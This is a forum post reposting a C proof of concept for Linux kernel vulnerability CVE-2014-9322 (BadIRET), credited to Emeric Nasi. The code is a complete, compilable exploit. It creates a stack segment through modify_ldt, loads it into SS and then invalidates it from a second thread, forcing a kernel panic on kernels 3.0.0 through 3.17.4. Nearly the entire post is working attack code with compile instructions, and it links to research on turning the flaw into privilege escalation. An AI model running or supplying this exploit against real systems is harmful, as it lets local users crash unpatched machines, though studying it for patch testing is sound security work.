Jump to content
Sign in to follow this  
Aerosol

Linux CVE-2014-9322 Proof Of Concept

Recommended Posts


/* ----------------------------------------------------------------------------------------------------
* cve-2014-9322_poc.c
*
* arch/x86/kernel/entry_64.S in the Linux kernel before 3.17.5 does not
* properly handle faults associated with the Stack Segment (SS) segment
* register, which allows local users to gain privileges by triggering an IRET
* instruction that leads to access to a GS Base address from the wrong space.
*
* This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
*
* I have no merit to writing this poc, I just implemented first part of Rafal Wojtczuk article (this guy is a genius!)
* More info at : http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/
*
*
* Compile with gcc -fno-stack-protector -Wall -o cve-2014-9322_poc cve-2014-9322_poc.c -lpthread
*
* Emeric Nasi - www.sevagas.com
*-----------------------------------------------------------------------------------------------------*/

// Only works on x86_64 platform
#ifdef __x86_64__

/* ----------------------- Includes ----------------------------*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <asm/ldt.h>
#include <pthread.h>
#include <sys/time.h>
#include <inttypes.h>
#include <stdbool.h>
#include <errno.h>
#include <sys/user.h>



/* ----------------------- definitions ----------------------------*/


#define TARGET_KERNEL_MIN "3.0.0"
#define TARGET_KERNEL_MAX "3.17.4"
#define EXPLOIT_NAME "cve-2014-9322"
#define EXPLOIT_TYPE DOS


#define FALSE_SS_BASE 0x10000UL
#define MAP_SIZE 0x10000


/* ----------------------- Global variables ----------------------------*/


struct user_desc new_stack_segment;


/* ----------------------- functions ----------------------------*/


/**
* Creates a new segment in Local Descriptor Table
*/
static bool add_ldt(struct user_desc *desc, const char *name)
{
if (syscall(SYS_modify_ldt, 1, desc, sizeof(struct user_desc)) == 0)
{
return true;
}
else
{
printf("[cve_2014_9322 error]: Failed to create %s segment\n", name);
printf("modify_ldt failed, %s\n", strerror(errno));
return false;
}
}


int FLAG = 0;

void * segManipulatorThread(void * none)
{
new_stack_segment.entry_number = 0x12;
new_stack_segment.base_addr = 0x10000;
new_stack_segment.limit = 0xffff;
new_stack_segment.seg_32bit = 1;
new_stack_segment.contents = MODIFY_LDT_CONTENTS_STACK; /* Data, grow-up */
new_stack_segment.read_exec_only = 0;
new_stack_segment.limit_in_pages = 0;
new_stack_segment.seg_not_present = 0;
new_stack_segment.useable = 0;
new_stack_segment.lm = 0;

// Create a new stack segment
add_ldt(&new_stack_segment, "newSS");

// Wait for main thread to use new stack segment
sleep(3);

// Invalidate stack segment
new_stack_segment.seg_not_present = 1;
add_ldt(&new_stack_segment, "newSS disable");
FLAG = 1;
sleep(15);

return NULL;
}

/**
* DOS poc for cve_2014_9322 vulnerability
*/
int main()
{

pthread_t thread1;
uint8_t *code;

printf("[cve_2014_9322]: Preparing to exploit.\n");

// map area for false SS
code = (uint8_t *)mmap((void *)FALSE_SS_BASE, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
if (code != (uint8_t *) FALSE_SS_BASE)
{
fprintf(stderr, "[cve_2014_9322 Error]: Unable to map memory at address: %lu\n", FALSE_SS_BASE);
return -1;
}

printf("[cve_2014_9322]: Panic!\n");
if(pthread_create(&thread1, NULL, segManipulatorThread, NULL)!= 0)
{
perror("[cve_2014_9322 error]: pthread_create");
return false;
}

// Wait for segManipulatorThread to create new stack segment
sleep(1);

// Set stack segment to newly created one in segManipulatorThread
asm volatile ("mov %0, %%ss;"
:
:"r" (0x97)
);

while(FLAG == 0){};
sleep(4);

return 0;
}


#endif // __x86_64__

Source

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

×
×
  • Create New...